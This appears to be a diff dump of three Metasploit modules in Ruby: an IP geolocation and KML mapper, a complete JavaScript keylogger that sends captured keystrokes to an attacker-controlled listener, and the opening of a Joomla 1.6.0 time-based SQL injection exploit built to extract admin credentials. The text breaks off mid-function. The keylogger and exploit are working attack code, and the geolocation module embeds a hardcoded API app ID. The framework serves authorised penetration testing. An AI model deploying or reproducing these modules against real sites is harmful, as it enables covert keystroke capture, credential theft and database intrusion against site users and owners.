include REXML
|
||||
|
||||
## This module can make use of the local GeoIPCity database and gem for improved
|
||||
## querying speeds. It's highly recommended that you follow these instructions
|
||||
## and prepare your system for a local DB if you're planning to do more than a few queries
|
||||
|
||||
## GET THE GEOIP CITY API
|
||||
## wget http://www.maxmind.com/download/geoip/api/c/GeoIP.tar.gz
|
||||
## tar -zxvf GeoIP.tar.gz
|
||||
## cd GeoIP <tab>
|
||||
## ./configure --prefix=/opt/GeoIP
|
||||
## make && sudo make install
|
||||
|
||||
## GET THE GEOIP_CITY DATABASE
|
||||
## gem install geoip_city -- --with-geoip-dir=/opt/GeoIP
|
||||
|
||||
## GET THE LATEST DATABASE
|
||||
## curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
|
||||
## gunzip GeoLiteCity.dat.gz
|
||||
|
||||
## Set the GEOIP_DB variable in metasploit
|
||||
## msf (ip_geolocate)> set GEOIP_DB /path/to/GeoLiteCity.dat
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'IP Address Geolocation',
|
||||
'Description' => %q{
|
||||
This module looks up the physical location of an ip address and optionally creates a
|
||||
kml file with the mapping. Set the VERBOSE option to see the data. It can be used with
|
||||
the IPInfoDB API, or locally with the GeoIP-city database and gem. Instructions have
|
||||
been linked in the references section (geoip-howto).
|
||||
},
|
||||
'References' => # XXX These references are now invalid, give 404s and other errors.
|
||||
[
|
||||
[ 'URL', 'http://blog.0x0e.org/2010/11/11/ip-list-to-kml-generator-create-a-google-maep-from-a-list-of-ips/' ],
|
||||
[ 'URL', 'http://www.0x0e.org/x/geoip-howto.txt']
|
||||
],
|
||||
'Author' => [ 'jcran' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('USE_LOCAL_DB', [ true, "Use the Local GeoCityIP API", true]),
|
||||
OptPath.new('GEOIP_DB', [ false, "Local MaxMind GeoCityIP database", 'GeoLiteCity.dat']),
|
||||
OptBool.new('GEN_KML', [ false, "Generate a KML file", true]),
|
||||
OptPath.new('KML_FILE', [ false, "Specify a KML file name", "/tmp/ip_list.kml"]),
|
||||
OptString.new('API_KEY', [ false, "API Key for IPInfoDB", 'NONE']),
|
||||
OptPath.new('IP_FILE', [ true, "List of IP Addresses", '/tmp/ip_list']),
|
||||
OptBool.new('VERBOSE', [ false, "Print the data as it's queried", true]),
|
||||
OptBool.new('RESOLVE', [ false, "Resolve hostnames", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]),
|
||||
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
## The following functions are only for remote querying of info ------
|
||||
## Query IPInfoDB for info about the address
|
||||
def get_address_remote(ip)
|
||||
api_key = datastore['API_KEY']
|
||||
url = "http://api.ipinfodb.com/v2/ip_query.php?key=#{api_key}&ip=#{ip}&timezone=false"
|
||||
resp = Net::HTTP.get(URI.parse(url))
|
||||
end
|
||||
|
||||
## Query Yahoo for info
|
||||
def get_coordinates_remote(address)
|
||||
#takes a hash with city, state address and returns a hash w/ coords
|
||||
url = "http://local.yahooapis.com/MapsService/V1/geocode"
|
||||
params = {
|
||||
"appid" => "GwLDY.bV34HH7gkBDs97p_5U5P_tBfXBnfDyYFwpTRLwZDEvgj8BOQqws1JOCFPyhTQR",
|
||||
"street" => "",
|
||||
"city" => address["city"],
|
||||
"state" => address["state"]
|
||||
}
|
||||
resp = Net::HTTP.post_form(URI.parse(url), params)
|
||||
resp_text = resp.body
|
||||
end
|
||||
|
||||
def parse_address_remote(xml)
|
||||
#takes an xml blob with city / state & returns a hash with address,city,state
|
||||
doc = Document.new xml
|
||||
root = doc.root
|
||||
|
||||
city = root.elements["City"].get_text.to_s
|
||||
state = root.elements["RegionName"].get_text.to_s
|
||||
country = root.elements["CountryCode"].get_text.to_s
|
||||
|
||||
toReturn = Hash[:city => city, :region => state, :country_name => country]
|
||||
end
|
||||
|
||||
def parse_coordinates_remote(xml)
|
||||
#takes an xml blob with coordinates & returns a hash with long/lat
|
||||
doc = REXML::Document.new xml
|
||||
root = doc.root
|
||||
long = REXML::XPath.first( doc, "//Longitude" ).get_text.to_s
|
||||
lat = REXML::XPath.first( doc, "//Latitude" ).get_text.to_s
|
||||
toReturn = Hash[:longitude => long, :latitude => lat]
|
||||
end
|
||||
|
||||
## End remote queries -------------------------------
|
||||
|
||||
|
||||
## Generate an individual placemark for inclusion in the larger KML file
|
||||
def gen_placemark(ip,info)
|
||||
xml = ""
|
||||
xml = xml + " <Placemark>\n"
|
||||
xml = xml + " <name>" + ip + "</name>\n"
|
||||
xml = xml + " <description>"
|
||||
xml = xml + info[:hostname].to_s + ", "
|
||||
xml = xml + info[:city].to_s + ", "
|
||||
xml = xml + info[:region].to_s + ", "
|
||||
xml = xml + info[:country_name].to_s
|
||||
xml = xml + "</description>\n"
|
||||
xml = xml + " <Point>\n"
|
||||
xml = xml + " <coordinates>" +
|
||||
info[:longitude].to_s + "," +
|
||||
info[:latitude].to_s + ",0</coordinates>\n"
|
||||
xml = xml + " </Point>\n"
|
||||
xml = xml + " </Placemark>\n"
|
||||
end
|
||||
|
||||
## Generate the KML skeleton
|
||||
def gen_kml(kml_body)
|
||||
kml = ""
|
||||
kml = kml + "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
|
||||
kml = kml + "<kml xmlns=\"http://www.opengis.net/kml/2.2\">\n"
|
||||
kml = kml + "<Document>\n"
|
||||
|
||||
kml = kml + kml_body
|
||||
|
||||
kml = kml + "</Document>\n"
|
||||
kml = kml + "</kml>\n"
|
||||
end
|
||||
|
||||
def mip(ip)
|
||||
|
||||
return if ip == ""
|
||||
return unless ::Rex::Socket.dotted_ip?(ip)
|
||||
return unless ::Rex::Socket.is_ipv4?(ip)
|
||||
|
||||
ip_info = { :ip => ip,
|
||||
:hostname => "unknown",
|
||||
:city => "unknown",
|
||||
:region => "unknown",
|
||||
:country_name => "unknown"
|
||||
}
|
||||
|
||||
loc_info = Hash.new
|
||||
if datastore['USE_LOCAL_DB']
|
||||
## use the local db
|
||||
loc_info = @db.look_up(ip)
|
||||
else
|
||||
## use the remote API
|
||||
xmlAddress = get_address_remote(ip)
|
||||
info_address = parse_address_remote(xmlAddress)
|
||||
|
||||
xmlCoordinates = get_coordinates_remote(info_address)
|
||||
info_coordinates = parse_coordinates_remote(xmlCoordinates)
|
||||
|
||||
## merge the address & gps info
|
||||
loc_info.merge!(info_address)
|
||||
loc_info.merge!(info_coordinates)
|
||||
end
|
||||
|
||||
if loc_info
|
||||
ip_info.merge!(loc_info)
|
||||
else
|
||||
print_error "#{ip} could not be located in the database"
|
||||
end
|
||||
|
||||
|
||||
if datastore["RESOLVE"]
|
||||
|
||||
answer = nil
|
||||
|
||||
begin
|
||||
query = @res.search(ip)
|
||||
answer = query.answer.join("/")
|
||||
rescue Exception => e
|
||||
print_error e.to_s
|
||||
end
|
||||
|
||||
if answer
|
||||
ip_info[:hostname] = answer
|
||||
else
|
||||
print_error "#{ip} could not be resolved"
|
||||
ip_info[:hostname] = "No PTR."
|
||||
end
|
||||
else
|
||||
## user manually specified this - no need to warn
|
||||
ip_info[:hostname] = "Hostname not resolved."
|
||||
end
|
||||
|
||||
if datastore['GEN_KML']
|
||||
placemark_kml = gen_placemark(ip,ip_info)
|
||||
@kml_body = @kml_body + placemark_kml
|
||||
end
|
||||
|
||||
if datastore["VERBOSE"]
|
||||
print_line "#{ip_info[:ip]} : #{ip_info[:hostname]} : #{ip_info[:city]}, #{ip_info[:region]}, #{ip_info[:country_name]}"
|
||||
end
|
||||
end
|
||||
|
||||
def mip_file(file)
|
||||
counter = 0
|
||||
ips = Array.new
|
||||
|
||||
File.open(file, "rb") do |infile|
|
||||
|
||||
while (line = infile.gets)
|
||||
ips[counter] = line
|
||||
counter = counter + 1
|
||||
end
|
||||
end
|
||||
|
||||
ips.each do |ip|
|
||||
ip = ip.to_s.chomp
|
||||
mip(ip)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
## Check to see if the user wants DNS resolved for each IP, Also check the nameserver
|
||||
if datastore['RESOLVE']
|
||||
## Set up DNS
|
||||
@res = Net::DNS::Resolver.new()
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
@res.tcp_timeout = 10
|
||||
@res.udp_timeout = 10
|
||||
|
||||
## Configure the user-specified nameserver
|
||||
if datastore['NS']
|
||||
print_line("Using DNS Server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
end
|
||||
end
|
||||
|
||||
## Check to see if we should query the data from IPInfoDB / Yahoo, or use a local DB
|
||||
if datastore['USE_LOCAL_DB']
|
||||
begin
|
||||
require 'geoip_city' # see instructions above or in the geoip-howto.txt for how to get this configured
|
||||
@db = GeoIPCity::Database.new(datastore['GEOIP_DB'])
|
||||
rescue
|
||||
print_error "Loading the GeoIPCity database failed. Make sure the database is configured."
|
||||
print_error "To configure the database, see the instructions at: http://www.0x0e.org/x/geoip-howto.txt"
|
||||
print_error "Remember to configure the module's GEOIP_DB variable as well."
|
||||
print_error ""
|
||||
print_error "Alternatively, you can simply set the USE_LOCAL_DB variable to false and a remote API will be queried."
|
||||
return
|
||||
end
|
||||
|
||||
else
|
||||
## Quit if we don't have an API Key...
|
||||
if datastore['APIKEY'] == "NONE"
|
||||
print_line "You must specify an API key for IPInfoDB.com"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
## start with an empty kml body, in case the user wants to generate it
|
||||
@kml_body = ""
|
||||
|
||||
## main function. - read thru the file, map each ip according to the options (also gens the kml body if requested
|
||||
mip_file(datastore['IP_FILE'])
|
||||
|
||||
## if the user wants kml, we should have a string ready in the @kml_body var. create it, and write it to a file
|
||||
if datastore['GEN_KML']
|
||||
kml = gen_kml(@kml_body)
|
||||
out = File.new(datastore['KML_FILE'], "wb")
|
||||
out.puts kml
|
||||
out.close
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,295 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Man-in-the-middle JavaScript Keylogger',
|
||||
'Description' => %q{
|
||||
This modules runs a HTTP Server to serve as a remote keylog listener
|
||||
to capture web page keystrokes.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>']
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
||||
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
||||
OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]),
|
||||
OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# This is the Demo Form Page <HTML>
|
||||
def demo
|
||||
html = <<EOS
|
||||
<html>
|
||||
<head>
|
||||
<title>Metasploit JavaScript Keylogger Demonstration Form</title>
|
||||
<script type="text/javascript" src="#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.js"></script>
|
||||
</head>
|
||||
<body bgcolor="white">
|
||||
<br><br>
|
||||
<div align="center">
|
||||
<h1>Metasploit<br>Javascript Keylogger Demo</h1>
|
||||
<form method=\"POST\" name=\"logonf\" action=\"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit\">
|
||||
<p><font color="red"><i>This form submits data to the Metasploit listener <br>at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.</i></font>
|
||||
<br><br>
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<tr><td>Username:</td> <td><input name="userf" size="20"></td> </tr>
|
||||
<tr><td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr>
|
||||
</table>
|
||||
<p align="center"><input type="submit" value="Submit"></p></form>
|
||||
<p><font color="grey" size="2">Metasploit® is a registered trademark of Rapid7, Inc.</font>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
return html
|
||||
end
|
||||
|
||||
# This is the JavaScript Key Logger Code
|
||||
def keylogger
|
||||
code = <<EOS
|
||||
window.onload = function load#{@random_text}(){
|
||||
l#{@random_text} = ",";
|
||||
document.onkeypress = p#{@random_text};
|
||||
document.onkeydown = d#{@random_text};
|
||||
}
|
||||
function p#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
k#{@random_text} = k#{@random_text}.toString(16);
|
||||
if (k#{@random_text} != "d"){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function d#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
if (k#{@random_text} == 9 || k#{@random_text} == 8 || k#{@random_text} == 13){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function #{@random_text}(k#{@random_text}){
|
||||
l#{@random_text} = l#{@random_text} + k#{@random_text} + ",";
|
||||
if (window.XMLHttpRequest){
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
}
|
||||
else{
|
||||
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
xmlhttp.open("GET","#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}&[" + l#{@random_text} + "]",true);
|
||||
xmlhttp.send();
|
||||
}
|
||||
EOS
|
||||
return code
|
||||
end
|
||||
|
||||
def hex_to_s(log)
|
||||
@ascii_log = ""
|
||||
log.split(",").each do |char|
|
||||
case char.to_i
|
||||
# Do Backspace
|
||||
when 8
|
||||
if @ascii_log.present?
|
||||
if @ascii_log[@ascii_log.length - 4,@ascii_log.length] == "<CR>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 4]
|
||||
elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "<TAB>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 5]
|
||||
else
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 1]
|
||||
end
|
||||
end
|
||||
|
||||
when 9 then @ascii_log += "<TAB>"
|
||||
when 13 then @ascii_log += "<CR>"
|
||||
|
||||
else
|
||||
@ascii_log += char.to_s.hex.chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Creates Metasploit shield favicon
|
||||
def favicon
|
||||
# [Red/Green/Blue/Reserved] * 256
|
||||
data_rgb = "00000000c5bdb50055341100ffffff002d1803006034060"
|
||||
data_rgb << "044250400673807004b290500d9d9d9004d2a0500251504"
|
||||
data_rgb << "00"*977
|
||||
data_rgb = [data_rgb].pack('H*')
|
||||
|
||||
data_lines = "0000000000000007070000000000000000000000000007"
|
||||
data_lines << "07070A00000000000000000000000707070A0A0A000000"
|
||||
data_lines << "000000000000070707070A0A0A0A000000000000000703"
|
||||
data_lines << "0707070A0A0A010A00000000000707030707070A0A0A09"
|
||||
data_lines << "020A00000000070303070703090A0A09090A0000000007"
|
||||
data_lines << "0303070703090A0A09090A000000000703030705030908"
|
||||
data_lines << "0A09090A0000000007030307070309040609090A000000"
|
||||
data_lines << "0007030307030309090B09090A00000000070303030303"
|
||||
data_lines << "09090909090A000000000703030303070A090909090A00"
|
||||
data_lines << "0000000703030307070A0A0909090A0000000007070707"
|
||||
data_lines << "07070A0A0A0A0A0A000000000007070707070A0A0A0A0A"
|
||||
data_lines << "000000"
|
||||
data_lines = [data_lines].pack('H*')
|
||||
|
||||
data_mask = "FE7F0000FC3F0000F81F0000F00F0000E0070000C0030000"
|
||||
data_mask << "C0030000C0030000C0030000C0030000C0030000C0030000"
|
||||
data_mask << "C0030000C0030000C0030000E0070000"
|
||||
data_mask = [data_mask].pack('H*')
|
||||
|
||||
# icondir
|
||||
ico = "\x00\x00" # Reserved
|
||||
ico << "\x01\x00" # Type
|
||||
ico << "\x01\x00" # Count
|
||||
ico << "\x10" # Width
|
||||
ico << "\x10" # Height
|
||||
ico << "\x00" # ColorCount
|
||||
ico << "\x00" # Reserved
|
||||
ico << "\x00\x00" # Planes
|
||||
ico << "\x00\x00" # BitCount
|
||||
ico << "\x68\x05\x00\x00" # BytesInRes
|
||||
ico << "\x16\x00\x00\x00" # Image Offset
|
||||
# images: bmiHeader
|
||||
ico << "\x28\x00\x00\x00" # biSize
|
||||
ico << "\x10\x00\x00\x00" # biWidth
|
||||
ico << "\x20\x00\x00\x00" # biHeight
|
||||
ico << "\x01\x00" # biPlanes
|
||||
ico << "\x08\x00" # biBitcount
|
||||
ico << "\x00\x00\x00\x00" # biCompression
|
||||
ico << "\x00\x01\x00\x00" # biSizeImage
|
||||
ico << "\x00\x00\x00\x00" # XPelsPerMeter
|
||||
ico << "\x00\x00\x00\x00" # YPelsPerMeter
|
||||
ico << "\x00\x01\x00\x00" # biClrUsed
|
||||
ico << "\x00\x00\x00\x00" # ClrImportant
|
||||
# images: data
|
||||
ico << data_rgb
|
||||
ico << data_lines
|
||||
ico << data_mask
|
||||
|
||||
return ico
|
||||
end
|
||||
|
||||
def current_time
|
||||
return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]")
|
||||
end
|
||||
|
||||
# Creates and prints timestamp
|
||||
def request_timestamp(cli,request)
|
||||
print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}")
|
||||
end
|
||||
|
||||
# This handles the HTTP responses for the Web server
|
||||
def on_request_uri(cli, request)
|
||||
@host = cli.peerhost
|
||||
|
||||
# Reply with JavaScript Source if *.js is requested
|
||||
if request.uri =~ /\.js/
|
||||
content_type = "text/plain"
|
||||
content = keylogger
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.
|
||||
elsif request.uri =~ /#{@random_text}/
|
||||
content_type = "text/plain"
|
||||
send_response(cli, @random_text, {'Content-Type'=> content_type})
|
||||
log = request.uri.split("&")[1]
|
||||
hex_to_s(log)
|
||||
@loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\n"
|
||||
if log.length > 1
|
||||
print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}")
|
||||
end
|
||||
|
||||
# Reply with Metasploit Shield Favicon
|
||||
elsif request.uri =~ /favicon\.ico/
|
||||
content = favicon
|
||||
content_type = "image/icon"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# Reply with Demo Page
|
||||
elsif request.uri =~ /metasploit/ and datastore['DEMO']
|
||||
content = demo
|
||||
content_type = "text/html"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
else
|
||||
# Reply with 404 - Content Not Found
|
||||
content = "Error 404 (Not Found)!"
|
||||
send_response(cli, "<html><title>#{content}</title><h1>#{content}</h1></html>", {'Content-Type' => 'text/html'})
|
||||
end
|
||||
end
|
||||
|
||||
def use_ssl?
|
||||
if datastore['SSL']
|
||||
@http_mode = "https://"
|
||||
else
|
||||
@http_mode = "http://"
|
||||
end
|
||||
end
|
||||
|
||||
def start_log
|
||||
@loot = ""
|
||||
logo = %Q{
|
||||
# cowsay++
|
||||
_________________________________
|
||||
< metasploit javascript keylogger >
|
||||
---------------------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
Started at #{current_time}
|
||||
=====================================
|
||||
|
||||
}
|
||||
logo = logo.gsub("\t\t\t","")
|
||||
|
||||
@loot << logo
|
||||
|
||||
end
|
||||
|
||||
# This is the module's main runtime method
|
||||
def run
|
||||
start_log
|
||||
use_ssl?
|
||||
@ascii_log = ""
|
||||
@random_text = Rex::Text.rand_text_alpha(12)
|
||||
script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js"
|
||||
|
||||
# Prints Demo Page
|
||||
if datastore['DEMO']
|
||||
print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr")
|
||||
end
|
||||
|
||||
# Prints HTML Embed Code
|
||||
print_status("Keylogger <HTML> Code => %blu<script type=\"text/javascript\" src=\"#{script_source}\"></script>%clr")
|
||||
print_status("Starting keylogger. Please press [CTRl]+[C] if you wish to terminate.")
|
||||
|
||||
# Starts Web Server
|
||||
begin
|
||||
exploit
|
||||
rescue Interrupt
|
||||
path = store_loot("javascript.keystrokes", "text/plain", @host, @loot)
|
||||
print_status("Stored loot at #{path}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
To-do:
|
||||
1. Allow custom favicon
|
||||
2. Allow custom demo page
|
||||
=end
|
||||
@@ -0,0 +1,839 @@
|
||||
# Requirements
|
||||
require 'msf/core'
|
||||
|
||||
# Class declaration
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Includes
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
# Initialize module
|
||||
def initialize(info = {})
|
||||
|
||||
# Initialize information
|
||||
super(update_info(info,
|
||||
'Name' => 'Joomla 1.6.0 // SQL Injection Exploit',
|
||||
'Description' => %q{
|
||||
A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks
|
||||
against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract
|
||||
admin credentials, and then store those credentials within the notes_db.
|
||||
|
||||
The vulnerability is due to a validation issue in /components/com_content/models/category.php
|
||||
that erroneously uses the "string" type whenever filtering the user supplied input. This issue
|
||||
was fixed by performing a whitelist check of the user supplied order data against the allowed
|
||||
order types, and also escaping the input.
|
||||
|
||||
NOTES:
|
||||
------------------------------------------------
|
||||
* Do not set the BMCT option too high!
|
||||
* Do not set the BMCT option too low either ...
|
||||
* A delay of about three to five seconds is ideal
|
||||
* Increase BMRC if you have issues with reliability
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
# Exploit Only (Bug credit to Aung Khant)
|
||||
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1151' ],
|
||||
[ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Mar 17 2011',
|
||||
'DefaultTarget' => 0 ))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# Required
|
||||
OptString.new('JDIR', [true, 'Joomla directory', '/']),
|
||||
|
||||
# The number of function iterations to run during the benchmark
|
||||
OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]),
|
||||
|
||||
# This is the benchmark delay threshold (in seconds)
|
||||
OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]),
|
||||
|
||||
# The number of benchmark tests to make during each data request.
|
||||
# This number may be increased for accuracy if you have problems.
|
||||
OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]),
|
||||
|
||||
# Optional
|
||||
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
|
||||
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
|
||||
|
||||
# Database prefix
|
||||
OptString.new('PREF', [false, 'Joomla atabase prefixt', 'jos_' ]),
|
||||
|
||||
# Admin account extraction limit
|
||||
OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]),
|
||||
|
||||
# Specific admin user ID to target
|
||||
OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]),
|
||||
|
||||
# URI used to trigger the bug
|
||||
OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),
|
||||
|
||||
# Query used to trigger bug
|
||||
OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),
|
||||
|
||||
], self.class)
|
||||
end
|
||||
#################################################
|
||||
|
||||
# Extract "Set-Cookie"
|
||||
def init_cookie(data, cstr = true)
|
||||
|
||||
# Raw request? Or cookie data specifically?
|
||||
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
|
||||
|
||||
# Beginning
|
||||
if ( data )
|
||||
|
||||
# Break them apart
|
||||
data = data.split(', ')
|
||||
|
||||
# Initialize
|
||||
ctmp = ''
|
||||
tmps = {}
|
||||
|
||||
# Parse cookies
|
||||
data.each do | x |
|
||||
|
||||
# Remove extra data
|
||||
x = x.split(';')[0]
|
||||
|
||||
# Seperate cookie pairs
|
||||
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
|
||||
|
||||
# Key
|
||||
k = $1
|
||||
|
||||
# Val
|
||||
v = $2
|
||||
|
||||
# Valid cookie value?
|
||||
if ( v.length() > 0 )
|
||||
|
||||
# Build cookie hash
|
||||
tmps[k] = v
|
||||
|
||||
# Report cookie status
|
||||
print_status("Got Cookie: #{k} => #{v}");
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Build string data
|
||||
if ( cstr == true )
|
||||
|
||||
# Loop
|
||||
tmps.each do |x,y|
|
||||
|
||||
# Cookie key/value
|
||||
ctmp << "#{x}=#{y};"
|
||||
end
|
||||
|
||||
# Assign
|
||||
tmps['cstr'] = ctmp
|
||||
end
|
||||
|
||||
# Return
|
||||
return tmps
|
||||
else
|
||||
# Something may be wrong
|
||||
init_debug("No cookies within the given response")
|
||||
end
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
# Simple debugging output
|
||||
def init_debug(resp, exit = 0)
|
||||
|
||||
# is DBUG set? Check it
|
||||
if ( datastore['DBUG'] )
|
||||
|
||||
# Print debugging data
|
||||
print_status("######### DEBUG! ########")
|
||||
pp resp
|
||||
print_status("#########################")
|
||||
end
|
||||
|
||||
# Continue execution
|
||||
if ( exit.to_i > 0 )
|
||||
|
||||
# Exit
|
||||
exit(0)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
# Generic post wrapper
|
||||
def http_post(url, data, headers = {}, timeout = 15)
|
||||
|
||||
# Protocol
|
||||
proto = datastore['SSL'] ? 'https': 'http'
|
||||
|
||||
# Determine request url
|
||||
url = url.length ? url: ''
|
||||
|
||||
# Determine User-Agent
|
||||
headers['User-Agent'] = headers['User-Agent'] ?
|
||||
headers['User-Agent'] : datastore['AGNT']
|
||||
|
||||
# Determine Content-Type
|
||||
headers['Content-Type'] = headers['Content-Type'] ?
|
||||
headers['Content-Type'] : "application/x-www-form-urlencoded"
|
||||
|
||||
# Determine Content-Length
|
||||
headers['Content-Length'] = data.length
|
||||
|
||||
# Determine Referer
|
||||
headers['Referer'] = headers['Referer'] ?
|
||||
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
|
||||
|
||||
# Delete all the null headers
|
||||
headers.each do | hkey, hval |
|
||||
|
||||
# Null value
|
||||
if ( !hval )
|
||||
|
||||
# Delete header key
|
||||
headers.delete(hkey)
|
||||
end
|
||||
end
|
||||
|
||||
# Send request
|
||||
resp = send_request_raw(
|
||||
{
|
||||
'uri' => datastore['JDIR'] + url,
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => headers
|
||||
},
|
||||
timeout )
|
||||
|
||||
# Returned
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
# Generic post multipart wrapper
|
||||
def http_post_multipart(url, data, headers = {}, timeout = 15)
|
||||
|
||||
# Boundary string
|
||||
bndr = Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
# Protocol
|
||||
proto = datastore['SSL'] ? 'https': 'http'
|
||||
|
||||
# Determine request url
|
||||
url = url.length ? url: ''
|
||||
|
||||
# Determine User-Agent
|
||||
headers['User-Agent'] = headers['User-Agent'] ?
|
||||
headers['User-Agent'] : datastore['AGNT']
|
||||
|
||||
# Determine Content-Type
|
||||
headers['Content-Type'] = headers['Content-Type'] ?
|
||||
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
|
||||
|
||||
# Determine Referer
|
||||
headers['Referer'] = headers['Referer'] ?
|
||||
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
|
||||
|
||||
# Delete all the null headers
|
||||
headers.each do | hkey, hval |
|
||||
|
||||
# Null value
|
||||
if ( !hval )
|
||||
|
||||
# Delete header key
|
||||
headers.delete(hkey)
|
||||
end
|
||||
end
|
||||
|
||||
# Init
|
||||
temp = ''
|
||||
|
||||
# Parse form values
|
||||
data.each do |name, value|
|
||||
|
||||
# Hash means file data
|
||||
if ( value.is_a?(Hash) )
|
||||
|
||||
# Validate form fields
|
||||
